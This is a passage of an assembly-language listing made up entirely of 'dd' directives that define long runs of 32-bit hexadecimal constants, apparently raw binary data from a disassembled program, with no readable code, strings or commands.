0CF7530Ch, 0B67B97CDh dd 9E009311h, 0AC062DB1h, 7A61928Eh, 3ADF030Bh, 0CED7EA6Ah dd 0F9531688h, 0CB208001h, 0E65D870Ah, 0E83F4CE4h, 93FB07D3h dd 90750E48h, 59EBCFC8h, 332DE200h, 0D4673590h, 0EC760061h dd 539BD80Ch, 2A00F6A8h, 8A64CF8Ch, 8F3EE02h, 519A87CBh dd 73F09200h, 0BD3B5Bh, 7D969B21h, 0BE53AA99h, 2DF9640Bh dd 0E70A03AFh, 1A05A07Ah, 0CCC10050h, 8DC6984Dh, 0EE00CA2Dh dd 107A92B5h, 0F436D861h, 15463E16h, 12DE2200h, 31918377h dd 800527Fh, 7385CC60h, 17C7A096h, 0BFF42Ah, 5B50766h dd 5300184Bh, 8025ACEDh, 0F7179Ah, 496BE341h, 4EC28B7h dd 0B9156F12h, 0F841F0h, 0CF8EFBDBh, 7DC3B2EEh, 302ADC00h dd 72CAAF6Eh, 0FE0200D8h, 0D92CC578h, 6817BDBAh, 3700B01Bh dd 6B30C3D7h, 0F28E0E15h, 0A18FA326h, 1FD82560h, 0B9786916h dd 6D7D3400h, 24BB18E1h, 0EABA1885h, 0D2CB3E75h, 8F41E717h dd 7DAA0D00h, 3D059Fh, 0A01988AEh, 1B088D71h, 761D6EE6h dd 7C1E0307h, 0E04F55h, 7944395Ah, 1AEBB8Bh, 40A1C633h dd 0EBB611EDh, 0C2B21BC8h, 6F18BD00h, 0E722FA2Eh, 98422510h dd 1E0C0576h, 6010E6h, 7233D201h, 3690C47Ah, 0B8419607h dd 5917D7BDh, 4480A9D0h, 1DB10F52h, 0B44BBF86h, 635E8A00h dd 3D0482B5h, 6C93D074h, 987DC2AFh, 12965540h, 0AD524000h dd 9C89100Ah, 0C72E0090h, 0A849426Ah, 98747B1Ch, 0D3AC7A50h dd 1014AFF0h, 0CA8875h, 0C2B1346Bh, 7BB3F7h, 0A53F70AAh dd 3278336Eh, 87E6CCA0h, 0C190960Fh, 9343A1DAh, 5AE83EEBh dd 7D637A07h, 2EAB003Ah, 0AE49DE10h, 2400EBF0h, 0EC8ECAEEh dd 2468DB4h, 2F3A850h, 0CAC04F14h, 9800E0EDh, 61CE408Eh dd 4E6704h, 0F7C496B6h, 7DF5D387h, 0D2AE20Eh, 3538E633h dd 0F4140388h, 0DEE8993Ch, 0BD058F80h, 379C080Eh, 5C6960A3h dd 0C7D5F3h, 0E50CBE62h, 0D7B1F5EBh, 659D4003h, 0A8497434h dd 83F29Ch, 4582B253h, 2D6D7867h, 26B55601h, 16F9A792h dd 969E4h, 0C00504F6h, 0DF3846BFh, 0F1E3FC00h, 0BBB03A6Eh dd 18D42C49h, 0E1E2003Fh, 0C41F96E8h, 3DBD9E00h, 997C41F9h dd 0A94038Eh, 2ACCD8FEh, 9DC70F88h, 429F600h, 7B8DA93Ah dd 15AF0023h, 89CB7149h, 0EF00840Bh, 70C943E8h, 0BA1761h dd 5B3063C3h, 4E111939h, 5C0E7100h, 68E9EBF2h, 0BE6A3EB8h dd 0C2B6DA00h, 79770D10h, 0DEE6D513h, 0BFCE3A0Fh, 2119C1C0h dd 0E048F8h, 0E735D8D3h, 27756D8Bh, 0D9569203h, 0D044193Eh dd 0EA6867DCh, 0B9301FAFh, 0F298078Fh, 0CCC40381h, 0AE8088F8h dd 0F3443603h, 0C89EEB6Eh, 7C8FA6h, 0C1ED84B7h, 5BAE0107h dd 7139B60Fh, 0F66E6011h, 763096h, 0BF433344h, 387AC887h dd 68406126h, 85296601h, 2F4FC3Ch, 0B40A01E3h, 267A9E8Ch dd 0D4E4306Ch, 9B425900h, 0C2CB866Fh, 1881127Dh, 1341EE8h dd 0DD25B049h, 39BDE42Eh, 1E943007h, 0E20F7C1h, 0C0F91F08h dd 283D4E11h, 1D0068EDh, 0F523E7A7h, 181ACD8h, 2ECA31F4h dd 70AFFF20h, 0F2008D8Fh, 0C59FE611h, 0C0B1F13Bh, 0ED1D5930h dd 8A00D445h, 54DE63CFh, 90448CB0h, 47ECFF98h, 9C7C0037h dd 40C08EC3h, 5679B635h, 16E66000h, 0F0B09D21h, 0FFE896h dd 88A6FC39h, 42110527h, 9FF06DE8h, 7B1D08B8h, 4C0292D2h dd 617776C4h, 1E80BE24h, 440D516Bh, 1305C93h, 1ED7B05Bh dd 75280347h, 4888D370h, 0EAB71DB8h, 1600977Ah, 20F0F4E6h dd 8A4930h, 616491C5h, 95176BFEh, 72059FE4h, 6A18E763h dd 0C88FDA00h, 27551Bh, 0F053321Ch, 345D6550h, 4E019800h dd 0EDB0C8E2h, 0F8DF0040h, 3D2ECEA8h, 4A002079h, 82198C83h dd 7E9A95B5h, 31AB0E1h, 2EF0F26h, 8580863Dh, 4C0709CFh dd 1583BF14h, 0ADF99310h, 0FFAE0008h, 40468F92h, 8E002AB3h dd 0F01F66F4h, 51A9B8h, 0C82FA1D9h, 1436C169h, 88813B01h dd 0CDC5035Dh, 8AB2F440h, 0EDDC0041h, 24471895h, 7300D0F1h dd 5BC477EBh, 875720h, 5412F471h, 56F535E5h, 4F5F6300h dd 219555EEh, 7A160092h, 0B9310649h, 5C00AC67h, 8B81802Ah dd 0D773F6h, 9583709Fh, 44B434C5h, 8063F03Bh, 82999188h dd 395533h, 0BC37208Ah, 9018E092h, 0C72B5100h, 0A7D42E26h dd 7CFF0048h, 0D3B0BF0Eh, 1C003F44h, 2BDF4390h, 3ACD92F4h dd 5D00FA95h, 0A8CCC0D8h, 0DD012C8Fh, 85B5A05Ah, 0A2D0F522h dd 4E2400E3h, 80BE47E4h, 0B00778FAh, 0A1C0F6B3h, 0CFA052A0h dd 64FC0E5Ch, 0F24E0938h, 0B235EA60h, 7DF874E2h, 0D5DEC500h dd 67F03F81h, 4AF644h, 913E51C2h, 923A2D48h, 0C7427800h dd 0F52CF4FFh, 0E798001Bh, 95ECD963h, 0B0000112h, 5710A0C9h dd 0CA6FCDh, 0B345B864h, 0C74A5A69h, 77A2114h, 3B461EDCh dd 622BD040h, 0E1FC63h, 0EBDBF56h, 97DF8CADh, 0A474420Eh dd 648920DDh, 7B19ABh, 0B4EBE83Ah, 7E073F84h, 0EC18A77Fh dd 0FC108520h, 0C6E700A0h, 1FD9628Bh, 0E100A24Ah, 356D7343h dd 1591DFDh, 0CAC82846h, 0DCC163A6h, 0AB1C030Ch, 0FBF966h dd 49A51E3Dh, 617C8B60h, 91FDA8CEh, 0EE3980FEh, 3C120467h dd 0F90B0044h, 0B89E3A92h, 0A5001C5Bh, 0C9D4D97Ah, 3C76D83h dd 9FCB8418h, 6031DF63h, 0E8C5F816h, 0B5FC080h, 25616AF1h dd 433DAB0Fh, 0C7E1C0FCh, 18BCD11Ch, 30841FC1h, 2118DDB1h dd 0DF40175Ch, 445B5057h, 0A090CF6h, 4768CA6Dh, 0A5BAB700h dd 0F0CB5ECFh, 19640031h dd 394A4108h, 0FD007917h, 5371D1C8h, 0C9DDD3h, 0F0E4F58Ch dd 1235103Eh, 79A03F00h, 0C20AA32Bh, 6D76B5h, 91E143DAh dd 740213EDh, 0D8E01054h, 0D3736500h, 0C76F29A8h, 413C0355h dd 47BCBF99h, 69BE4FE0h, 75D2041Fh, 7A49AB00h, 2FB239h dd 9E998410h, 2B922024h, 1FA8F601h, 413E440Ah, 5581E880h dd 0A55BB9F1h, 5092C300h, 0BFE59046h, 0E1120860h, 0DC079F33h dd 28BD5F39h, 0D61175E5h, 36DF1042h, 85CC80A6h, 143B51CAh dd 2828FE14h, 0F97114FBh, 0E5089789h, 63075944h, 0F8A179B5h dd 1FD32922h, 0D4BC30h, 77A70214h, 0DF008AD7h, 0A4E81AABh dd 0B4D8E0h, 0C9CEBA60h, 0A246CAD5h, 3114BD2Eh, 0B0C26D05h dd 777DB3C0h, 8B7C00DEh, 0AB8C0D30h, 8900E907h, 47366658h dd 911FF1h, 0E833C835h, 0E9C52D18h, 0BBF2FCF9h, 280FEF90h dd 479BA701h, 7B60C1D0h, 0C3E92h, 3B5A7F20h, 0DE048AE0h dd 4B64B300h, 1A2DFBCFh, 29775C35h, 0A3452400h, 7D16C89Fh dd 0C9515000h, 3E486218h, 9C0C0003h, 90779224h, 0B007020h dd 0D5481F4h, 334A411h, 309E609Fh, 0BAD82F12h, 663B4E99h dd 14DB80A0h, 7CE45B15h, 81800F1h, 0D667270Eh, 0DD01EEB4h dd 31955322h, 30212526h, 977120h, 3867FDCCh, 12014450h dd 0EAC2213h, 0E0AB280Eh, 0A5E398C4h, 493300E7h, 146D4FECh dd 2807EA73h, 0CFD8EEDAh, 0E0DC61A0h, 90A800D1h, 0B61D9552h dd 83007141h, 0BE6FAF76h, 0B5C9FFh, 70BAAD7Ah, 738A8D06h dd 1D21CC00h, 0CF3A05DDh, 14A001B6h, 0B182BF5Ch, 136AD017h dd 48E2000h, 0F009E815h, 5F66034Fh, 0D33A8C30h, 44605B98h dd 0E058EB00h, 0C215737Bh, 0F3A003D6h, 0CCC55D71h, 30630599h dd 167EC034h, 9CF99124h, 197209h, 0BF61E524h, 0CDAF0384h dd 1A96FEF8h, 0F942E9A0h, 0E78C401h, 0C66DF31Fh, 3A7FAB60h dd 7FB2D1h, 7C6A038Ah, 4EBC521Dh, 62C94624h, 0F92DF401h dd 79FC68A1h, 3F8A0315h, 3D918B99h, 4E959013h, 7B697400h dd 81E038h, 0EF5BB25Ah, 0AED28A46h, 99074BE0h, 47AC742Fh dd 1C07BA90h, 0A9750027h, 0CA646C17h, 0AA00DC1Dh, 0F4A1E31Fh dd 35BF37h, 77A831ABh, 99DEEA2Eh, 0E8DF8500h, 0EE3A6C41h dd 7C9E0072h, 3062169h, 0B2001C7Eh, 95AC0C98h, 7C48FC56h dd 917539h, 7261B59Dh, 1888DB47h, 9C19EB00h, 702A7A23h dd 9B740097h, 77A2622Dh, 634CA4EFh, 334B0506h, 9AC0528Dh dd 5BD509h, 0F4122C11h, 0F05E59A6h, 0D97DC407h, 0BF00EF6h dd 2E535Dh, 0EA20626Fh, 6DC41DEBh, 48462413h, 60775000h dd 3EE1FFh, 730923D9h, 0E4EEA962h, 3CD34C03h, 0B822786Fh dd 0CE20D0h, 0F62C0EF3h, 32C04917h, 103DE00h, 0CDAB308Eh dd 0B6E92D3Ch, 0A5003F70h, 0D0C454ADh, 7FB49Ch, 154D97DDh dd 42F88756h, 1D8EFB00h, 0E97138EBh, 24089837h, 224AE2Ch dd 0D7DB5FFEh, 36804343h, 0F60214BBh, 8464A7C5h, 0E6F88053h dd 5C67A3F3h, 0CC0B6A24h, 0A4A39CD1h, 11F04387h, 47007A93h dd 0EB3C0622h, 0CE6466h, 29E0D78h, 0EA8BE9D6h, 3F820106h dd 113A37h, 0C62FFE4Dh, 0EA64E93h, 7871391Eh, 0A1967A00h dd 2019D5h, 0B33CF7Bh, 50994455h, 18CE5F02h, 0E0BF8E63h dd 439190h, 23D8B801h, 0ADDED949h, 0FCF16E1Ch, 56A5D6C1h dd 9FC0EC2Eh, 0CA12040Eh, 0C72DF6FEh, 0FF2B10EBh, 7F1CCEAAh dd 0E3C017E0h, 0EC826087h, 83D23F5Ah, 0A3262F80h, 15A68B0Eh dd 0C786CB00h, 706B077Fh, 1A1D3CE8h, 1642BB8Fh, 4E6873A0h dd 2F00E1B5h, 3FE3B927h, 1E766CC3h, 0C02969CDh, 1EF989DCh dd 0CF00BB66h, 4B87D405h, 3468BAh, 85D6773Ah, 2BCB366Fh dd 20D24D60h, 0F8C67Ah, 4CDB3E28h, 870CB3FBh, 0CA76AF3Fh dd 69093800h, 0E4970CDh, 0A9679005h, 8F1FA700h, 0A878BFD8h dd 0F04DE700h, 3B2FC912h, 51F4CBh, 0B26940D2h, 95B37544h dd 115F6700h, 85EA8860h, 517E33h, 0AA38FB25h, 0A8C3652Bh dd 217258C0h, 0C06E7CE6h, 8513E569h, 9A008D17h, 0DD395775h dd 3F7C688h, 5FAB32E1h, 0ADD24C67h, 47A6F080h, 0E92E4EE4h dd 59002587h, 0EB6497E6h, 65782Ch, 0F35375DAh, 7D7E0E23h dd 261CE300h, 0A1527BFCh, 34B500D7h, 0C8BB8F2h, 0A707EBE7h dd 0EAFDE968h, 0BA784B40h, 0EEF904B9h, 822E3B6Ch, 44C0F550h dd 84008A47h, 0CFFAFF5Eh, 5897AD32h, 310019E6h, 0E7D7C9Bh dd 37006F3Dh, 8C87EBA1h, 6C2269h, 30C74DD4h, 65AFF7A9h dd 0E70A9F0Ah, 1F39BCE6h, 82121A75h, 0F2E488h, 0CDBD4E70h dd 0B06E63ACh, 809B5E3Ah, 17CFDA6Ch, 0FF8A28h, 7A030112h dd 0B2704409h, 6D213A02h, 0C059A7FCh, 13839A8h, 0A1EAD8C5h dd 0ECE98382h, 0E300188Bh, 3079A3A2h, 252ACAD2h, 30045FA8h dd 5AEDC247h, 39C0B0E2h, 98905B2Bh, 89728726h, 6F21C900h dd 2D9D5C6h, 7E73A432h, 0C44B3D7Bh, 0E8241799h, 0B603C0A0h dd 0A4967FCCh, 0ACC19C01h, 49EC03C4h, 3A75C2h, 91A26539h dd 98612BA0h, 17F8BD00h, 0EC1A92FCh, 547B0019h, 2BC2CCB1h dd 0B200E6DFh, 73312C7Fh, 3004E9h, 0CD32C650h, 8D655CA1h dd 87007074h, 0E405EAEFh, 1E55C8F4h, 2362FA4h, 59DCC107h dd 0EB83C3E0h, 10B8AB06h, 0E829C4h, 0BD3B1984h, 0FC80DD38h dd 26E56B00h, 8544CFCAh, 91F70009h, 15B35411h, 66013F4Ch dd 9BFE0AA6h, 0D46083C6h, 240F1DEAh, 12241C3h, 70ED9857h dd 6A009D9Ch, 8F342A3h, 24BD8BFAh, 0A8781E4Eh, 0E630085h dd 4DEF3148h, 33E4303Fh, 24502E06h, 0CE87F8h, 65B340CDh dd 8B0119BBh, 0EBF4AA00h, 0C5487D81h, 51630031h, 33C33D03h dd 2A005691h, 0C6837B73h, 0E6F462Bh, 0A3BE081Eh, 3C914FC0h dd 0AA159920h, 4CF86E9Eh, 59E115BCh, 9758F8h, 0C24C362h dd 14B2B5h, 0CC2AC804h, 4463E60Ah, 5901BC77h, 0D99C4D64h dd 0C6D07F1Eh, 71830050h, 732D8735h, 0A0000420h, 3BCEFC48h dd 16275E05h, 0E03F97Ah, 0C583ADB4h, 66B8025Dh, 880013FCh dd 0F52D3947h, 0BEB579h, 6FF0CC54h, 0CF48556Dh, 0EDA6E100h dd 355CE643h, 579200EFh, 31C6844Bh, 37950DFh, 0D0F23214h dd 284C0BB9h, 5A007D6Dh, 644785FDh, 3AC68A01h, 0D378728Fh dd 8D00202Ch, 0D23D876Bh, 0B0E4990h, 0E3B950E1h, 897DFEBFh dd 0EC20A37Ch, 565501B3h, 9CF7027Fh, 5482C4E4h, 5E075C00h dd 0B1C6CE6Fh, 811B0B4Dh, 0F0809324h, 0D292DECDh, 57C7B701h dd 8023AF16h, 502696D0h, 955BC04h, 0A632ABD0h, 19919C20h dd 0BB1F6F83h, 294066F4h, 0AD7693A4h, 40F50056h, 0A9390227h dd 8C2CDD57h, 0EE025468h, 0C06B7DCBh, 269CC218h, 0E82547h dd 48F812ECh, 7F00E84Ah, 0C728B069h, 7F02EBB9h, 6637002Ch dd 5FE03B0Ah, 880059A1h, 64A0971h, 52186Ah, 3D010E07h dd 2AF3CF2Bh, 8CED3B07h, 9C6AB247h, 0DE68C38h, 0A552C0h dd 95447004h, 0AE720BD6h, 95CED4Ch, 852FCC97h, 3380EB4Ch dd 1EB5E9E3h, 9EF13F0Eh, 0CB3A819Dh, 0F3FE604Dh, 0C99C2A40h dd 689C4D90h, 76686260h, 64070015h, 243F7E90h, 0E400D478h dd 3A20DBD6h, 213F7h, 0EA9CF41h, 9045D822h, 0B79A5612h dd 0E0136C82h, 2EDE4054h, 302CE135h, 0DAE815DEh, 367511C3h dd 5C1EC0A8h, 0BC3C00BAh, 5101F1DBh, 441F0266h, 6900B2E9h dd 0B61E9707h, 79FD004Ch, 0DA150C5Dh, 0A2076A2Ah, 2CF7168Bh dd 6457A09Eh, 1DCD6EB8h dd 0C5DE7EA5h, 0FEA82225h, 0BAD682C0h, 5AE4033Dh, 0F11E83Bh dd 0C8FB85D1h, 494E1672h, 71B7D400h, 0C7A255h, 0E03C6418h dd 22CAA5C4h, 0E3E20800h, 607EB896h, 3DB2A021h, 780A3EA8h dd 4057E013h, 8472DC30h, 68009BB7h, 4B14690Ch, 7B0ECD4h dd 48E244C6h, 0D66F3FFFh, 0F2B7A7A0h, 0A009527Ch, 0F094F7h dd 0FCEA3C3Ch, 4C140A11h, 0C12CE3h, 0B9983955h, 65076979h dd 0F18B13C5h, 60AF2FE7h, 5F71AED1h, 0A4750227h, 4D96B45Ch dd 0C47CFCE0h, 3AA11B08h, 9FC501AEh, 0D88141F2h, 40985E72h dd 2B105B00h, 0B24B9435h, 0DF6F00D0h, 0D1C3FE9Bh, 130567BBh dd 6C395E52h, 0EEE50C80h, 8B110086h, 66C6E168h, 0D504D9F3h dd 7D02F957h, 0E425B482h, 1D88B84Ch, 0B1A8EEh, 730C1436h dd 0F900D680h, 70CE02EAh, 1D10B6ECh, 2E93322Fh, 71636h dd 0BCCD21A4h, 7CF45AC8h, 4107EF90h, 53BE227Dh, 73E3BD00h dd 52CE006Dh, 611F26Ah, 0AD00505Dh, 0D68C97BEh, 31CE103h dd 339008B3h, 0B79871FBh, 23790109h, 2A3A6800h, 80D2DB88h dd 324B018Ah, 6643D8F4h, 0BEB1405Ch, 6800E31Ch, 0D0B83D93h dd 89CFFEh, 0C0E816EEh, 8D10CA67h, 0F540F000h, 433ADA1Ah dd 0CB060191h, 27AE2EEBh, 1FBAFCFAh, 4EB71E00h, 8FFDE5DBh dd 55370F67h, 48E3D55Bh, 0A8F4840Eh, 4CCB03F1h, 0B0BEA634h dd 77D710AAh, 0AD8F07C9h, 0E07329F4h, 0E7B0FBD3h, 3594DC00h dd 5B1C9D2Dh, 0EF7576h, 1A5546Eh, 0CB0B7844h, 0D4A15600h dd 2E2A14F1h, 92204877h, 0F9E2B31h, 0EC90F128h, 0C60013A1h dd 7003169Eh, 577A7Fh, 0A8E6A002h, 5A828976h, 0EE4D1B00h dd 28568D3Ch, 844203EBh, 7CD0A8FDh, 0D61CEDF0h, 68773800h dd 0D32D4EDFh, 0F956071Fh, 52F2C85Bh, 0C24397FAh, 0C1D451DFh dd 9CF93085h, 0D098BA50h, 0D700A8F0h, 0D5C7E51Dh, 3DA4DC7Eh dd 6E0003BCh, 0DF2F8727h, 34031894h, 1F78853Dh, 0A157A048h dd 0D47AAFh, 0D241E7Ch, 0AB633243h, 0D96B2200h, 75493ED7h dd 0C17003Ah, 41054C70h, 0A5395627h, 9DD00074h, 0DC94C7B6h dd 1B3D01F0h, 390840C2h, 6C8BC4D8h, 24343300h, 0CF9E02E9h dd 49B4000Ah, 616696E2h, 0AC2656F5h, 0E011AADh, 5A01FB2Bh dd 826CD8h, 445C4216h, 99E1BA67h, 46618A00h, 3585CD08h dd 97CF01C6h, 0A63B3EEFh, 0DD80E342h, 452E04F5h, 170068A1h dd 3FD79B02h, 7C80083h, 391222FAh, 0D000BB82h, 0F67C727h dd 3D28F19Ah, 7D003D69h, 0A2EFD24Ch, 0B800A823h, 0DA0FFCBh dd 8E47CFh, 697A6B3h, 0F7ECAAB5h, 0A47B3600h, 45402A64h dd 0F46F001Ah, 250DE582h, 1E050319h, 479E1159h, 88052D80h dd 0C9650F60h, 4DE0E9F1h, 0E67E3E90h, 3D9C5400h, 0ED400DD5h dd 0C2660044h, 6901D8ACh, 0C7010376h, 9A216F75h, 45E02DC0h dd 7B02008Bh, 7DF1DE1Ch, 5FF03970h, 19373301h, 6BB61F47h dd 4228FCh, 1718D4D3h, 7877D5CCh, 0C5109900h, 3ED615BDh dd 9B270089h, 62F8BFA4h, 0D4004624h, 7C417298h, 3ED3BD96h dd 438A2C61h, 0A5852Eh, 54CFCA18h, 8004664Bh, 7690F9F4h dd 69462880h, 0CDC03C2h, 44EF0B45h, 47D55DB0h, 0F30ECF00h dd 57B1B4A8h, 0F2E6C2h, 9D4FA235h, 0B5F830DCh, 0CF006890h dd 2E877AB4h, 359F72h, 594BC66Eh, 0B7916831h, 50C3AA00h dd 9E79665Eh, 3F741860h, 0AC7B104Bh, 54A3190Eh, 85366065h dd 0BC1C3Ch, 5F05FF7Fh, 0C2895397h, 0A209E474h, 8FED75E3h dd 506D8444h, 0D985DDC3h, 0E2FCC219h, 14C8C317h, 99031F09h dd 0D58A2F7Ah, 0C16C097h, 4CAD1DC3h, 1EB10363h, 11E69828h dd 0B20A81Fh, 5414E3C1h, 16F08B2Dh, 0F87C1D7Ah, 0CEE81E7h dd 407D13E4h, 0AE535BD0h, 5593FB01h, 2D7B8BF1h, 27793441h dd 3C14A20h, 6EF548C8h, 29601FA4h, 0DFE458D0h, 0BE64A0EAh dd 0F5100762h, 910819EDh, 507A74E3h, 2B5AC28h, 0D2FF6301h dd 1DE4C6F0h, 0E121C4h, 0FEC7B448h, 5D61E680h, 26006B75h dd 82846F8Dh, 708EBDAFh, 0DACC0351h, 30DDF3CDh, 8C347C80h dd 33B87203h, 418B83A2h, 40A9869h, 41C309FFh, 36C6822Fh dd 99F8A07Ah, 3FFBF16Fh, 4C80DDE8h, 0B0222D6h, 330CA5C0h dd 28AC3786h, 7173442Fh, 447F4044h, 2544620Fh, 0D5754421h dd 0EE4F1920h, 38CE8808h, 89539288h, 44D008C9h, 29880A1Ch dd 9F630053h, 55D8256Dh, 117BE1C9h, 0F5F06403h, 0B067Eh dd 9B6D1754h, 13D9BFE9h, 195D050Bh, 0C74047Ah, 0B58FD6C0h dd 0E9A900F2h, 0EE36C745h, 0C900E720h, 236A44B3h, 13BB70D9h dd 471472h, 4F6E2AB0h, 0C600B3E9h, 2811A132h, 0DCFF8Dh dd 15142208h, 55D7F289h, 3B297C00h, 29A0325h, 0FD3C0056h dd 0C91D4BE7h, 6600C15Dh, 547228F6h, 9095C8DBh, 0D48F0058h dd 0A5290C4Eh, 0B817FF17h, 0C01E873h, 91546C51h, 0A471E0h dd 13895B5Ch, 0EC1C0780h, 0CBD94C0Eh, 8F3C3D66h, 2BF65C88h dd 87807750h, 720970D1h, 74894400h, 0AD5A2176h, 3F637AC5h dd 510042C2h, 17DD6730h, 8DF82241h, 0F4967B00h, 42E9135Fh dd 0F223003Dh, 694B9DE1h, 544CBA1Bh, 80D40A64h, 51408C49h dd 4DBBA856h, 0C500887Dh, 0E8FA934Ch, 0E40F5DEDh, 0B6AAB19h dd 0EA48002Ch, 8BC588h, 6C960A43h, 0F567FF53h, 1B9C7D1Dh dd 57A41682h, 2AB490B0h, 0C4F700F8h, 0A8ECAB14h, 0C8793D0Dh dd 0B97E5600h, 47F0345Bh, 53FA1Eh, 0CA374821h, 0FF7BD99Ah dd 422DC507h, 47804F68h, 3AF0387Fh, 0D580D87Eh, 8CBD23DAh dd 461E6320h, 0D2091987h, 478C00CDh, 0E7E337h, 0D5B88609h dd 0A9AC9D95h, 0A6A30305h, 0E4C0989Ah, 782F07ABh, 62B00E2h dd 16F8C75Ah, 671226D0h, 7C004303h, 9465B814h, 0A324011Ah dd 6080B023h, 73E860FEh, 7EC22A3Bh, 0E9785400h, 0B0203F08h dd 970E077Ah, 42FBDh, 0DA5ECA0h, 3425D800h, 32FEF6F5h dd 0B0A1012Eh, 0BD2B2AF0h, 6CEC7064h, 0C467220Bh, 9F688069h dd 3EF97C61h, 0A68002D1h, 8B931403h, 190E5A17h, 0A8DBCCh dd 0C84F4CD0h, 0A41C0091h, 0E10C382Bh, 98007FEFh, 0FDC7C5FCh dd 32019EBh, 2803A17Eh, 7A0F5A27h, 6243EE3Eh, 0E82FEBD3h dd 5CBE8684h, 0A000E50Bh, 6A08849Bh, 74073B9Ch, 585B2EE3h dd 0B5DE0190h, 0D59200C7h, 12481583h, 0E600714Dh, 0F5E2A895h dd 0D7D643h, 7C5F20Ah, 59158A64h, 0A376A100h, 8095E7C6h dd 0D605005Ah, 8D77DBFh, 0F0754ECh, 87648C66h, 0B9340029h dd 1D85C0C7h, 405D65B7h, 0D9316661h, 0D0075581h, 0DD041C90h dd 0D1B8ED21h, 31701080h, 0CB7A5B06h, 6269C32Ch, 6A8F6B00h dd 60291BEEh, 10A729C8h, 2F002D65h, 2A0F363Bh, 0E4DE70h dd 18164AB6h, 3F939FA4h, 87774200h, 0FC116D8Bh, 95020954h dd 98006B16h, 9884D5AEh, 0B7650B0Fh, 0ADABC0C7h, 905DB834h dd 7D9500B0h, 0BC297683h, 0C67C4231h, 9E209303h, 0B8C4CAC9h dd 0AF25Fh, 24573472h, 0AECFD2F4h, 4DB88078h, 2AD1CD00h dd 69C282E7h, 0B87A00F6h, 0BCEE390Dh, 0AA00E65Ch, 0CB036480h dd 2DE077Eh, 489181F0h, 0CE802A20h, 2E23BE05h, 5A84DF00h dd 0F6FAAACCh, 8F620088h, 68115653h, 2C00CF05h, 49A99640h dd 14B69450h, 0F6647AA2h, 0EEB01B00h, 7C460960h, 22F3D801h dd 781E0DB9h, 5A8B30h, 0D66FC5BAh, 8FD5CD70h, 4E00A677h dd 921CC10Fh, 9056AAh, 0DEC888BEh, 5E61FEFFh, 628768C0h dd 12425AB6h, 0CE51E2h dd 0BEAC77BBh, 8C1D209Fh, 0F6668A91h, 1AA1B403h, 1D8090A0h dd 1CD10052h, 42D6CE30h, 0B8007732h, 0F77162B9h, 262A16C5h dd 4D63FAh, 0DBC1F12h, 0A50056ECh, 5FA9B46Eh, 2860C18h dd 5A614FF4h, 0B5E0AF6Dh, 43004A70h, 0A630B4CDh, 0F8553B9Eh dd 569D036Ah, 0BFA874E6h, 2ADEE2D0h, 5CB46400h, 51B92710h dd 80FF0BAEh, 0C8039037h, 1A99A266h, 0A15EF46Ch, 47FC5D00h dd 50BE7219h, 0AEC5Fh, 1A1CB78Eh, 9DC4591Bh, 836EB51Ch dd 0D766807Eh, 0CD68AB12h, 0B2EA47h, 0F913FEE9h, 6BEF1EB8h dd 8FF1800h, 0F6CA14A1h, 59070040h, 0FC485599h, 4F07D2C9h dd 0BF12BA30h, 431D77D0h, 0B2E900A4h, 916EADA1h, 3A30C098h dd 73296A68h, 0D192006Ah, 7C9F0927h, 3E78A196h, 0D4A93F01h dd 3D8C05F4h, 0CC8BB080h, 41F1EF14h, 7D50BD98h, 10000797h dd 5D5AED46h, 3EC1694h, 0B83FBC6Fh, 2AC80D4Ah, 8B26DC66h dd 5F002CC4h, 12EAEBCEh, 0A9376BAh, 0ECF5154Dh, 329E01AFh dd 60B6E78Bh, 26C0058Ch, 160BEE42h, 0F76F009Bh, 3BCB3F17h dd 4C70F6DCh, 0B63C6D00h, 5823ABEBh, 0B2F73CE9h, 9ACCBC00h dd 0C7FCD870h, 0D5043300h, 497D2FD7h, 0BBDD002Ch, 0FD75AEA3h dd 5348ED0Ch, 51E80043h, 523B8A80h, 13C01EFCh, 0C45C03D2h dd 0E3C82F47h, 91000D99h, 0AE1A240Ah, 0B55FECh, 0EF8A5A98h dd 3BC1B0E5h, 0A0695C26h, 5EC21C3Eh, 44658980h, 15FFA21h dd 0BC1D7E57h, 0F8B85503h, 3906330Bh, 1F1C72FEh, 0E4BF0718h dd 478542EEh, 1B61E02Eh, 0A102577Ch, 687D23F6h, 0A09078A0h dd 0D11E8Fh, 0CEB47010h, 5D78E4E7h, 0D20525h, 3BC448E0h dd 489083h, 32772E87h, 713C5139h, 5BAF5C00h, 2AF386ACh dd 0B6FC0E26h, 0FB0052C7h, 9E501239h, 0B426C00h, 316BC4D6h dd 599032Ah, 34F236CDh, 4BAC39Fh, 11FE1007h, 1580E349h dd 1D2C38F1h, 4020EDDBh, 0BCA78725h, 0C800B136h, 0F1FC829Eh dd 0A208DF6Ah, 442261F2h, 70FD960h, 26877651h, 886BB0AAh dd 34E26771h, 94E2AC01h, 0F8EA6DD9h, 6EBFD880h, 0DA7295CBh dd 35010CB4h, 0D2548FD6h, 87FDF7FDh, 8EC2BDDh, 227D3947h dd 7EF67283h, 9F9BD754h, 583C9BF0h, 0F85FAC00h, 0A21C9E3Bh dd 0C9780023h, 177761C8h, 0BE000852h, 2A5E578Dh, 1D13489h dd 6835CC42h, 71235D4Ah, 0B65E3040h, 7765D400h, 0E38D0B94h dd 49415h, 0CA6F53D3h, 0E700E1C8h, 8951D816h, 0F29F22D4h dd 5B0107FFh, 0F4A93E13h, 0A8BC044h, 0DC1CC2FEh, 6F6E4302h dd 35386702h, 4A724031h, 0A83A60DEh, 61870D4Ch, 0DC43CD2Eh dd 0C5C61184h, 0E17504D0h, 4E7001DBh, 0F439FC2h, 5FF7ECE2h dd 0F3A0AD01h, 1456EF6Ah, 983903E4h, 4ECB0598h, 821517C3h dd 0F05893AEh, 0F6D0B501h, 8951F87h, 308F41D8h, 0A3D822CEh dd 8C005544h, 6D34115Bh, 5CA2FBh, 4AC90459h, 3CBBC3B9h dd 66CD1800h, 20C13384h, 4C22003Fh, 0C565767Dh, 8E582F50h dd 48870B75h, 0FDD00039h, 27AA9DEh, 0E506E834h, 70589BCCh dd 76D2F800h, 4F1D44BBh, 60E607C4h, 90E1FD25h, 66CC6406h dd 0BB1A0200h, 1CED0F15h, 61FF0041h, 73EF82D9h, 7700609Ah dd 8150CA8Dh, 2CC51B7Ch, 1E9B610Fh, 68329857h, 0C4B9A08Dh dd 4999DD00h, 1EA7B91Bh, 86BD0FE1h, 3C50C37Ah, 0C6CDDB05h dd 9A00F99Eh, 703FDDBBh, 0BE3B04EDh, 0C0316273h, 33B985FBh dd 4B0214EAh, 0DFC5290Fh, 164E0B1h, 8D1A4C21h, 0BEB48600h dd 8CC29C06h, 8E4CC8E6h, 0F8301D8h, 0B03B4E09h, 